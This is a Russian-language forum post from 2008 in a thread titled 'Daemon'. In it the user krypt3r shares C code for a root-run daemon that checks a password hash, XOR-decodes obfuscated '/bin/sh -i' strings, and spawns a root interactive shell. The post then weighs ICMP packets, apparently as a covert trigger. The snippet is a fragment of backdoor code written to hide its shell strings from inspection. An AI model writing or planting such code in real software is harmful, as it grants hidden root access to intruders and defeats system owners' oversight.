Тема: Daemon
Показать сообщение отдельно

  #4  
Старый 18.03.2008, 12:28
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

Цитата:
Зависит от пользователя, от которого запущен демон.
Да, все правильно. Демон запускаться будет от рута. А авторизацию я сделал таким образом
Код:
#define MAGIC_WORD "тут_хэш_md5_unix"
char magic_word1 [] = "\xae\xe3\xe8\xef\xae\xf2\xe9\x00"; // поксоренный c 0x81 /bin/sh
char magic_word2 [] = "\xf2\xe9\x00"; // "sh" ^ 0x81
char magic_word3 [] = "\xac\xe8\x00"; // "-i" ^ 0x81
...
  if (strstr (crypt (query, "$1$это_соль"), MAGIC_WORD) != NULL)
  {
    for (i = 0, len = strlen (magic_word1); i < len; magic_word1 [i++] ^= 0x81);
    for (i = 0, len = strlen (magic_word2); i < len; magic_word2 [i++] ^= 0x81);
    for (i = 0, len = strlen (magic_word3); i < len; magic_word3 [i++] ^= 0x81);
    setreuid (0, 0);
    setregid (0, 0);
    execl (magic_word1, magic_word2, magic_word3, NULL);
  }
По-ламерски, конечно, сделано, отловить пасс сниффером не составит труда. А насчет icmp-пакетов сэнкс, я уже подумывал